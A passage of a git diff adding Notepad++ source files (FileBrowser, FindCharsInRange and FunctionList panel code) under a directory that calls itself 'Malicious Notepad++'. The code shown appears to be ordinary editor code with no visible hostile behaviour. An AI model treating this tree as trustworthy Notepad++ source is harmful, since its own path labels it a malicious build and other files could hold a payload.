+public: + FileBrowser(): DockingDlgInterface(IDD_FILEBROWSER) {}; + ~FileBrowser(); + void init(HINSTANCE hInst, HWND hPere) { + DockingDlgInterface::init(hInst, hPere); + } + + virtual void display(bool toShow = true) const { + DockingDlgInterface::display(toShow); + }; + + void setParent(HWND parent2set){ + _hParent = parent2set; + }; + + virtual void setBackgroundColor(COLORREF bgColour) { + TreeView_SetBkColor(_treeView.getHSelf(), bgColour); + }; + + virtual void setForegroundColor(COLORREF fgColour) { + TreeView_SetTextColor(_treeView.getHSelf(), fgColour); + }; + + generic_string getNodePath(HTREEITEM node) const; + void addRootFolder(generic_string); + + HTREEITEM getRootFromFullPath(const generic_string & rootPath) const; + HTREEITEM findChildNodeFromName(HTREEITEM parent, generic_string); + + bool addInTree(generic_string rootPath, generic_string addItemFullPath, HTREEITEM node, std::vector linarPathArray); + HTREEITEM findInTree(generic_string rootPath, HTREEITEM node, std::vector linarPathArray); + bool deleteFromTree(generic_string rootPath, HTREEITEM node, std::vector linarPathArray); + bool renameInTree(generic_string rootPath, HTREEITEM node, std::vector linarPathArrayFrom, const generic_string & renameTo); + + std::vector getRoots() const; + generic_string getSelectedItemPath() const; + +protected: + TreeView _treeView; + HIMAGELIST _hImaLst = nullptr; + + HMENU _hGlobalMenu = NULL; + HMENU _hRootMenu = NULL; + HMENU _hFolderMenu = NULL; + HMENU _hFileMenu = NULL; + std::vector _folderUpdaters; + + void initPopupMenus(); + void destroyMenus(); + BOOL setImageList(int root_open_id, int root_close_id, int open_node_id, int closed_node_id, int leaf_id); + + BrowserNodeType getNodeType(HTREEITEM hItem); + void popupMenuCmd(int cmdID); + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + void notified(LPNMHDR notification); + void showContextMenu(int x, int y); + void openSelectFile(); + void getDirectoryStructure(const TCHAR *dir, const std::vector & patterns, FolderInfo & directoryStructure, bool isRecursive, bool isInHiddenDir); + HTREEITEM createFolderItemsFromDirStruct(HTREEITEM hParentItem, const FolderInfo & directoryStructure); +}; + +#endif // FILEBROWSER_H diff --git a/Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser.rc b/Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser.rc new file mode 100644 index 0000000..619c06e --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser.rc @@ -0,0 +1,40 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "FileBrowser_rc.h" + +IDD_FILEBROWSER DIALOGEX 26, 41, 142, 324 +STYLE DS_SETFONT | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE +CAPTION "File Browser" +FONT 8, "MS Sans Serif", 0, 0, 0x0 +BEGIN + +END + diff --git a/Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser_rc.h b/Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser_rc.h new file mode 100644 index 0000000..c5d1d83 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser_rc.h @@ -0,0 +1,52 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef FILEBROWSER_RC_H +#define FILEBROWSER_RC_H + +#define IDD_FILEBROWSER 3500 + +#define IDD_FILEBROWSER_MENU (IDD_FILEBROWSER + 10) + + #define IDM_FILEBROWSER_REMOVEROOTFOLDER (IDD_FILEBROWSER_MENU + 1) + #define IDM_FILEBROWSER_REMOVEALLROOTS (IDD_FILEBROWSER_MENU + 2) + #define IDM_FILEBROWSER_ADDROOT (IDD_FILEBROWSER_MENU + 3) + #define IDM_FILEBROWSER_SHELLEXECUTE (IDD_FILEBROWSER_MENU + 4) + #define IDM_FILEBROWSER_OPENINNPP (IDD_FILEBROWSER_MENU + 5) + #define IDM_FILEBROWSER_COPYEPATH (IDD_FILEBROWSER_MENU + 6) + #define IDM_FILEBROWSER_FINDINFILES (IDD_FILEBROWSER_MENU + 7) + + #define IDM_FILEBROWSER_EXPLORERHERE (IDD_FILEBROWSER_MENU + 8) + #define IDM_FILEBROWSER_CMDHERE (IDD_FILEBROWSER_MENU + 9) + +#define IDD_FILEBROWSER_CTRL (IDD_FILEBROWSER + 30) + #define ID_FILEBROWSERTREEVIEW (IDD_FILEBROWSER_CTRL + 1) + + +#endif // FILEBROWSER_RC_H + diff --git a/Malicious Notepad++/src/WinControls/FindCharsInRange/FindCharsInRange.cpp b/Malicious Notepad++/src/WinControls/FindCharsInRange/FindCharsInRange.cpp new file mode 100644 index 0000000..f225612 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FindCharsInRange/FindCharsInRange.cpp @@ -0,0 +1,173 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "FindCharsInRange.h" +#include "findCharsInRange_rc.h" + +INT_PTR CALLBACK FindCharsInRangeDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + switch (message) + { + case WM_INITDIALOG : + { + ::SendDlgItemMessage(_hSelf, IDC_RANGESTART_EDIT, EM_LIMITTEXT, 3, 0); + ::SendDlgItemMessage(_hSelf, IDC_RANGEEND_EDIT, EM_LIMITTEXT, 3, 0); + ::SendDlgItemMessage(_hSelf, IDC_NONASCCI_RADIO, BM_SETCHECK, TRUE, 0); + ::SendDlgItemMessage(_hSelf, ID_FINDCHAR_DIRDOWN, BM_SETCHECK, TRUE, 0); + goToCenter(); + return TRUE; + } + case WM_COMMAND : + { + switch (wParam) + { + case IDCANCEL : // Close + display(false); + return TRUE; + + case ID_FINDCHAR_NEXT: + { + int currentPos = static_cast((*_ppEditView)->execute(SCI_GETCURRENTPOS)); + unsigned char startRange = 0; + unsigned char endRange = 255; + bool direction = dirDown; + bool isWrap = true; + if (!getRangeFromUI(startRange, endRange)) + { + //STOP! + ::MessageBox(_hSelf, TEXT("You should type between from 0 to 255."), TEXT("Range Value problem"), MB_OK); + return TRUE; + } + getDirectionFromUI(direction, isWrap); + findCharInRange(startRange, endRange, currentPos, direction, isWrap); + return TRUE; + } + + default : + { + break; + } + } + } + default : + return FALSE; + } +} + +bool FindCharsInRangeDlg::findCharInRange(unsigned char beginRange, unsigned char endRange, int startPos, bool direction, bool wrap) +{ + int totalSize = (*_ppEditView)->getCurrentDocLen(); + if (startPos == -1) + startPos = direction==dirDown?0:totalSize-1; + if (startPos > totalSize) + return false; + + char *content = new char[totalSize+1]; + (*_ppEditView)->getText(content, 0, totalSize); + int found = -1; + + for (int i = startPos-(direction == dirUp?1:0); + (direction == dirDown)?i < totalSize:i >= 0 ; + (direction == dirDown)?(++i):(--i)) + { + if (static_cast(content[i]) >= beginRange && static_cast(content[i]) <= endRange) + { + found = i; + break; + } + } + + if (found == -1) + { + if (wrap) + { + for (int i = (direction == dirUp?totalSize-1:0); + (direction == dirDown)?i < totalSize:i >= 0 ; + (direction == dirDown)?(++i):(--i)) + { + if (static_cast(content[i]) >= beginRange && static_cast(content[i]) <= endRange) + { + found = i; + break; + } + } + } + } + + if (found != -1) + { + //printInt(found); + auto sci_line = (*_ppEditView)->execute(SCI_LINEFROMPOSITION, found); + (*_ppEditView)->execute(SCI_ENSUREVISIBLE, sci_line); + (*_ppEditView)->execute(SCI_GOTOPOS, found); + (*_ppEditView)->execute(SCI_SETSEL, (direction == dirDown)?found:found+1, (direction == dirDown)?found+1:found); + } + delete [] content; + return (found != -1); +} + +void FindCharsInRangeDlg::getDirectionFromUI(bool & whichDirection, bool & isWrap) +{ + whichDirection = isCheckedOrNot(ID_FINDCHAR_DIRUP); + isWrap = isCheckedOrNot(ID_FINDCHAR_WRAP); +} + +bool FindCharsInRangeDlg::getRangeFromUI(unsigned char & startRange, unsigned char & endRange) +{ + if (isCheckedOrNot(IDC_NONASCCI_RADIO)) + { + startRange = 128; + endRange = 255; + return true; + } + if (isCheckedOrNot(IDC_ASCCI_RADIO)) + { + startRange = 0; + endRange = 127; + return true; + } + + if (isCheckedOrNot(IDC_MYRANGE_RADIO)) + { + BOOL startBool, endBool; + int start = ::GetDlgItemInt(_hSelf, IDC_RANGESTART_EDIT, &startBool, FALSE); + int end = ::GetDlgItemInt(_hSelf, IDC_RANGEEND_EDIT, &endBool, FALSE); + + if (!startBool || !endBool) + return false; + if (start > 255 || end > 255) + return false; + if (start > end) + return false; + startRange = static_cast(start); + endRange = static_cast(end); + return true; + } + + return false; +} diff --git a/Malicious Notepad++/src/WinControls/FindCharsInRange/FindCharsInRange.h b/Malicious Notepad++/src/WinControls/FindCharsInRange/FindCharsInRange.h new file mode 100644 index 0000000..39a8035 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FindCharsInRange/FindCharsInRange.h @@ -0,0 +1,76 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef FINDCHARSINRANGE_DLG_H +#define FINDCHARSINRANGE_DLG_H + +#ifndef FINDCHARSINRANGE_RC_H +#include "findCharsInRange_rc.h" +#endif //FINDCHARSINRANGE_RC_H + +#ifndef SCINTILLA_EDIT_VIEW_H +#include "ScintillaEditView.h" +#endif //SCINTILLA_EDIT_VIEW_H + +class FindCharsInRangeDlg : public StaticDialog +{ +public : + FindCharsInRangeDlg() : StaticDialog() {}; + + void init(HINSTANCE hInst, HWND hPere, ScintillaEditView **ppEditView) { + Window::init(hInst, hPere); + if (!ppEditView) + throw std::runtime_error("FindCharsInRangeDlg::init : ppEditView is null."); + _ppEditView = ppEditView; + }; + + virtual void create(int dialogID, bool isRTL = false, bool msgDestParent = true) { + StaticDialog::create(dialogID, isRTL, msgDestParent); + }; + + void doDialog(bool isRTL = false) { + if (!isCreated()) + create(IDD_FINDCHARACTERS, isRTL); + display(); + }; + + virtual void display(bool toShow = true) const { + Window::display(toShow); + }; + +protected : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private : + ScintillaEditView **_ppEditView = nullptr; + bool findCharInRange(unsigned char beginRange, unsigned char endRange, int startPos, bool direction, bool wrap); + bool getRangeFromUI(unsigned char & startRange, unsigned char & endRange); + void getDirectionFromUI(bool & whichDirection, bool & isWrap); +}; + +#endif //FINDCHARSINRANGE_DLG_H diff --git a/Malicious Notepad++/src/WinControls/FindCharsInRange/findCharsInRange.rc b/Malicious Notepad++/src/WinControls/FindCharsInRange/findCharsInRange.rc new file mode 100644 index 0000000..de7f688 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FindCharsInRange/findCharsInRange.rc @@ -0,0 +1,50 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "findCharsInRange_rc.h" + +IDD_FINDCHARACTERS DIALOGEX 26, 41, 263, 126 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE +CAPTION "Find Characters in Range..." +FONT 8, "MS Shell Dlg", 0, 0, 0x0 +BEGIN + CONTROL "Non-ASCII Characters (128-255)",IDC_NONASCCI_RADIO,"Button",BS_AUTORADIOBUTTON,22,13,146,10 + CONTROL "ASCII Characters (0 - 127)",IDC_ASCCI_RADIO,"Button",BS_AUTORADIOBUTTON,22,32,151,10 + CONTROL "My Range:",IDC_MYRANGE_RADIO,"Button",BS_AUTORADIOBUTTON,22,51,67,10 + EDITTEXT IDC_RANGESTART_EDIT,91,49,25,14,ES_AUTOHSCROLL | ES_NUMBER + LTEXT "-",IDC_STATIC,122,52,8,8 + EDITTEXT IDC_RANGEEND_EDIT,129,49,25,14,ES_AUTOHSCROLL | ES_NUMBER + CONTROL "&Up",ID_FINDCHAR_DIRUP,"Button",BS_AUTORADIOBUTTON | WS_GROUP | WS_TABSTOP,25,91,64,12 + CONTROL "&Down",ID_FINDCHAR_DIRDOWN,"Button",BS_AUTORADIOBUTTON | WS_TABSTOP,25,103,63,12 + GROUPBOX "Direction",IDC_FINDCHAR_DIR_STATIC,19,79,74,42,WS_GROUP + CONTROL "Wra&p around",ID_FINDCHAR_WRAP,"Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,105,102,110,15 + DEFPUSHBUTTON "Find",ID_FINDCHAR_NEXT,182,8,70,14,BS_NOTIFY + PUSHBUTTON "Close",IDCANCEL,181,27,70,14,BS_NOTIFY +END diff --git a/Malicious Notepad++/src/WinControls/FindCharsInRange/findCharsInRange_rc.h b/Malicious Notepad++/src/WinControls/FindCharsInRange/findCharsInRange_rc.h new file mode 100644 index 0000000..8a98e86 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FindCharsInRange/findCharsInRange_rc.h @@ -0,0 +1,43 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef IDC_STATIC +#define IDC_STATIC -1 +#endif + +#define IDD_FINDCHARACTERS 2900 +#define IDC_NONASCCI_RADIO (IDD_FINDCHARACTERS + 1) +#define IDC_ASCCI_RADIO (IDD_FINDCHARACTERS + 2) +#define IDC_MYRANGE_RADIO (IDD_FINDCHARACTERS + 3) +#define IDC_RANGESTART_EDIT (IDD_FINDCHARACTERS + 4) +#define IDC_RANGEEND_EDIT (IDD_FINDCHARACTERS + 5) +#define ID_FINDCHAR_DIRUP (IDD_FINDCHARACTERS + 6) +#define ID_FINDCHAR_DIRDOWN (IDD_FINDCHARACTERS + 7) +#define IDC_FINDCHAR_DIR_STATIC (IDD_FINDCHARACTERS + 8) +#define ID_FINDCHAR_WRAP (IDD_FINDCHARACTERS + 9) +#define ID_FINDCHAR_NEXT (IDD_FINDCHARACTERS + 10) diff --git a/Malicious Notepad++/src/WinControls/FunctionList/functionListPanel.cpp b/Malicious Notepad++/src/WinControls/FunctionList/functionListPanel.cpp new file mode 100644 index 0000000..cce3a22 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FunctionList/functionListPanel.cpp @@ -0,0 +1,786 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include "json.hpp" +#include "functionListPanel.h" +#include "ScintillaEditView.h" +#include "localization.h" +#include + +using nlohmann::json; +using namespace std; + +#define CX_BITMAP 16 +#define CY_BITMAP 16 + +#define INDEX_ROOT 0 +#define INDEX_NODE 1 +#define INDEX_LEAF 2 + + +void FunctionListPanel::addEntry(const TCHAR *nodeName, const TCHAR *displayText, size_t pos) +{ + HTREEITEM itemParent = NULL; + TCHAR posStr[32]; + generic_itoa(static_cast(pos), posStr, 10); + HTREEITEM root = _treeView.getRoot(); + + if (nodeName != NULL && *nodeName != '\0') + { + itemParent = _treeView.searchSubItemByName(nodeName, root); + if (!itemParent) + { + itemParent = _treeView.addItem(nodeName, root, INDEX_NODE, TEXT("-1")); + } + } + else + itemParent = root; + + _treeView.addItem(displayText, itemParent, INDEX_LEAF, posStr); +} + +void FunctionListPanel::removeAllEntries() +{ + _treeView.removeAllItems(); +} + +// bodyOpenSybe mbol & bodyCloseSymbol should be RE +size_t FunctionListPanel::getBodyClosePos(size_t begin, const TCHAR *bodyOpenSymbol, const TCHAR *bodyCloseSymbol) +{ + size_t cntOpen = 1; + + int docLen = (*_ppEditView)->getCurrentDocLen(); + + if (begin >= (size_t)docLen) + return docLen; + + generic_string exprToSearch = TEXT("("); + exprToSearch += bodyOpenSymbol; + exprToSearch += TEXT("|"); + exprToSearch += bodyCloseSymbol; + exprToSearch += TEXT(")"); + + + int flags = SCFIND_REGEXP | SCFIND_POSIX; + + (*_ppEditView)->execute(SCI_SETSEARCHFLAGS, flags); + int targetStart = (*_ppEditView)->searchInTarget(exprToSearch.c_str(), exprToSearch.length(), begin, docLen); + int targetEnd = 0; + + do + { + if (targetStart != -1 && targetStart != -2) // found open or close symbol + { + targetEnd = int((*_ppEditView)->execute(SCI_GETTARGETEND)); + + // Now we determinate the symbol (open or close) + int tmpStart = (*_ppEditView)->searchInTarget(bodyOpenSymbol, lstrlen(bodyOpenSymbol), targetStart, targetEnd); + if (tmpStart != -1 && tmpStart != -2) // open symbol found + { + ++cntOpen; + } + else // if it's not open symbol, then it must be the close one + { + --cntOpen; + } + } + else // nothing found + { + cntOpen = 0; // get me out of here + targetEnd = static_cast(begin); + } + + targetStart = (*_ppEditView)->searchInTarget(exprToSearch.c_str(), exprToSearch.length(), targetEnd, docLen); + + } while (cntOpen); + + return targetEnd; +} + +generic_string FunctionListPanel::parseSubLevel(size_t begin, size_t end, std::vector< generic_string > dataToSearch, int & foundPos) +{ + if (begin >= end) + { + foundPos = -1; + return TEXT(""); + } + + if (!dataToSearch.size()) + return TEXT(""); + + int flags = SCFIND_REGEXP | SCFIND_POSIX; + + (*_ppEditView)->execute(SCI_SETSEARCHFLAGS, flags); + const TCHAR *regExpr2search = dataToSearch[0].c_str(); + int targetStart = (*_ppEditView)->searchInTarget(regExpr2search, lstrlen(regExpr2search), begin, end); + + if (targetStart == -1 || targetStart == -2) + { + foundPos = -1; + return TEXT(""); + } + int targetEnd = int((*_ppEditView)->execute(SCI_GETTARGETEND)); + + if (dataToSearch.size() >= 2) + { + dataToSearch.erase(dataToSearch.begin()); + return parseSubLevel(targetStart, targetEnd, dataToSearch, foundPos); + } + else // only one processed element, so we conclude the result + { + TCHAR foundStr[1024]; + + (*_ppEditView)->getGenericText(foundStr, 1024, targetStart, targetEnd); + + foundPos = targetStart; + return foundStr; + } +} + +void FunctionListPanel::addInStateArray(TreeStateNode tree2Update, const TCHAR *searchText, bool isSorted) +{ + bool found = false; + for (size_t i = 0, len = _treeParams.size(); i < len; ++i) + { + if (_treeParams[i]._treeState._extraData == tree2Update._extraData) + { + _treeParams[i]._searchParameters._text2Find = searchText; + _treeParams[i]._searchParameters._doSort = isSorted; + _treeParams[i]._treeState = tree2Update; + found = true; + } + } + if (!found) + { + TreeParams params; + params._treeState = tree2Update; + params._searchParameters._text2Find = searchText; + params._searchParameters._doSort = isSorted; + _treeParams.push_back(params); + } +} + +TreeParams* FunctionListPanel::getFromStateArray(generic_string fullFilePath) +{ + for (size_t i = 0, len = _treeParams.size(); i < len; ++i) + { + if (_treeParams[i]._treeState._extraData == fullFilePath) + return &_treeParams[i]; + } + return NULL; +} + +void FunctionListPanel::sortOrUnsort() +{ + bool doSort = shouldSort(); + if (doSort) + _pTreeView->sort(_pTreeView->getRoot()); + else + { + TCHAR text2search[MAX_PATH] ; + ::SendMessage(_hSearchEdit, WM_GETTEXT, MAX_PATH, reinterpret_cast(text2search)); + + if (text2search[0] == '\0') // main view + { + reload(); + } + else // aux view + { + reload(); + + if (_treeView.getRoot() == NULL) + return; + + _treeViewSearchResult.removeAllItems(); + const TCHAR *fn = ((*_ppEditView)->getCurrentBuffer())->getFileName(); + _treeViewSearchResult.addItem(fn, NULL, INDEX_ROOT, TEXT("-1")); + _treeView.searchLeafAndBuildTree(_treeViewSearchResult, text2search, INDEX_LEAF); + _treeViewSearchResult.display(true); + _treeViewSearchResult.expand(_treeViewSearchResult.getRoot()); + _treeView.display(false); + _pTreeView = &_treeViewSearchResult; + } + } +} + + +bool FunctionListPanel::serialize(const generic_string & outputFilename) +{ + Buffer* currentBuf = (*_ppEditView)->getCurrentBuffer(); + const TCHAR* fileNameLabel = currentBuf->getFileName(); + + generic_string fname2write; + if (outputFilename.empty()) // if outputFilename is not given, get the current file path by adding the file extension + { + const TCHAR *fullFilePath = currentBuf->getFullPathName(); + + // Export function list from an existing file + bool exportFuncntionList = (NppParameters::getInstance())->doFunctionListExport(); + if (exportFuncntionList && ::PathFileExists(fullFilePath)) + { + fname2write = fullFilePath; + fname2write += TEXT(".result"); + fname2write += TEXT(".json"); + } + else + return false; + } + else + { + fname2write = outputFilename; + } + + const char* rootLabel = "root"; + const char* branchesLabel = "branches"; + const char* leavesLabel = "leaves"; + const char* nameLabel = "name"; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + json j; + j[rootLabel] = wmc->wchar2char(fileNameLabel, CP_ACP); + + for (const auto & info : _foundFuncInfos) + { + std::string leafName = wmc->wchar2char(info._data.c_str(), CP_ACP); + + if (!info._data2.empty()) // node + { + bool isFound = false; + std::string nodeName = wmc->wchar2char(info._data2.c_str(), CP_ACP); + + for (auto & i : j[branchesLabel]) + { + if (nodeName == i[nameLabel]) + { + i[leavesLabel].push_back(leafName.c_str()); + isFound = true; + break; + } + } + + if (!isFound) + { + json aNode = { { leavesLabel, json::array() },{ nameLabel, nodeName.c_str() } }; + aNode[leavesLabel].push_back(leafName.c_str()); + j[branchesLabel].push_back(aNode); + } + } + else // leaf + { + j[leavesLabel].push_back(leafName.c_str()); + } + } + + std::ofstream file(fname2write); + file << j; + + return true; +} + +void FunctionListPanel::reload() +{ + // clean up + TreeStateNode currentTree; + bool isOK = _treeView.retrieveFoldingStateTo(currentTree, _treeView.getRoot()); + if (isOK) + { + TCHAR text2Search[MAX_PATH]; + ::SendMessage(_hSearchEdit, WM_GETTEXT, MAX_PATH, reinterpret_cast(text2Search)); + bool isSorted = shouldSort(); + addInStateArray(currentTree, text2Search, isSorted); + } + removeAllEntries(); + ::SendMessage(_hSearchEdit, WM_SETTEXT, 0, reinterpret_cast(TEXT(""))); + setSort(false); + + _foundFuncInfos.clear(); + + Buffer* currentBuf = (*_ppEditView)->getCurrentBuffer(); + const TCHAR *fn = currentBuf->getFileName(); + LangType langID = currentBuf->getLangType(); + if (langID == L_JAVASCRIPT) + langID = L_JS; + + const TCHAR *udln = NULL; + if (langID == L_USER) + { + udln = currentBuf->getUserDefineLangName(); + } + + TCHAR *ext = ::PathFindExtension(fn); + + bool parsedOK = _funcParserMgr.parse(_foundFuncInfos, AssociationInfo(-1, langID, ext, udln)); + if (parsedOK) + { + _treeView.addItem(fn, NULL, INDEX_ROOT, TEXT("-1")); + } + + for (size_t i = 0, len = _foundFuncInfos.size(); i < len; ++i) + { + // no 2 levels + bool b = false; + if (b) + { + generic_string entryName = TEXT(""); + if (!_foundFuncInfos[i]._data2.empty()) + { + entryName = _foundFuncInfos[i]._data2; + entryName += TEXT("=>"); + } + entryName += _foundFuncInfos[i]._data; + addEntry(NULL, entryName.c_str(), _foundFuncInfos[i]._pos); + } + else + { + addEntry(_foundFuncInfos[i]._data2.c_str(), _foundFuncInfos[i]._data.c_str(), _foundFuncInfos[i]._pos); + } + } + + HTREEITEM root = _treeView.getRoot(); + + if (root) + { + Buffer* currentBuf = (*_ppEditView)->getCurrentBuffer(); + const TCHAR *fullFilePath = currentBuf->getFullPathName(); + _treeView.setItemParam(root, fullFilePath); + TreeParams *previousParams = getFromStateArray(fullFilePath); + if (!previousParams) + { + ::SendMessage(_hSearchEdit, WM_SETTEXT, 0, reinterpret_cast(TEXT(""))); + setSort(false); + _treeView.expand(root); + } + else + { + ::SendMessage(_hSearchEdit, WM_SETTEXT, 0, reinterpret_cast((previousParams->_searchParameters)._text2Find.c_str())); + + _treeView.restoreFoldingStateFrom(previousParams->_treeState, root); + + bool isSort = (previousParams->_searchParameters)._doSort; + setSort(isSort); + if (isSort) + _pTreeView->sort(_pTreeView->getRoot()); + } + } + + // invalidate the editor rect + ::InvalidateRect(_hSearchEdit, NULL, TRUE); +} + + +void FunctionListPanel::init(HINSTANCE hInst, HWND hPere, ScintillaEditView **ppEditView) +{ + DockingDlgInterface::init(hInst, hPere); + _ppEditView = ppEditView; + bool doLocalConf = (NppParameters::getInstance())->isLocal(); + + if (!doLocalConf) + { + generic_string funcListXmlPath = (NppParameters::getInstance())->getUserPath(); + PathAppend(funcListXmlPath, TEXT("functionList.xml")); + + if (!PathFileExists(funcListXmlPath.c_str())) + { + generic_string funcListDefaultXmlPath = (NppParameters::getInstance())->getNppPath(); + PathAppend(funcListDefaultXmlPath, TEXT("functionList.xml")); + if (PathFileExists(funcListDefaultXmlPath.c_str())) + { + ::CopyFile(funcListDefaultXmlPath.c_str(), funcListXmlPath.c_str(), TRUE); + 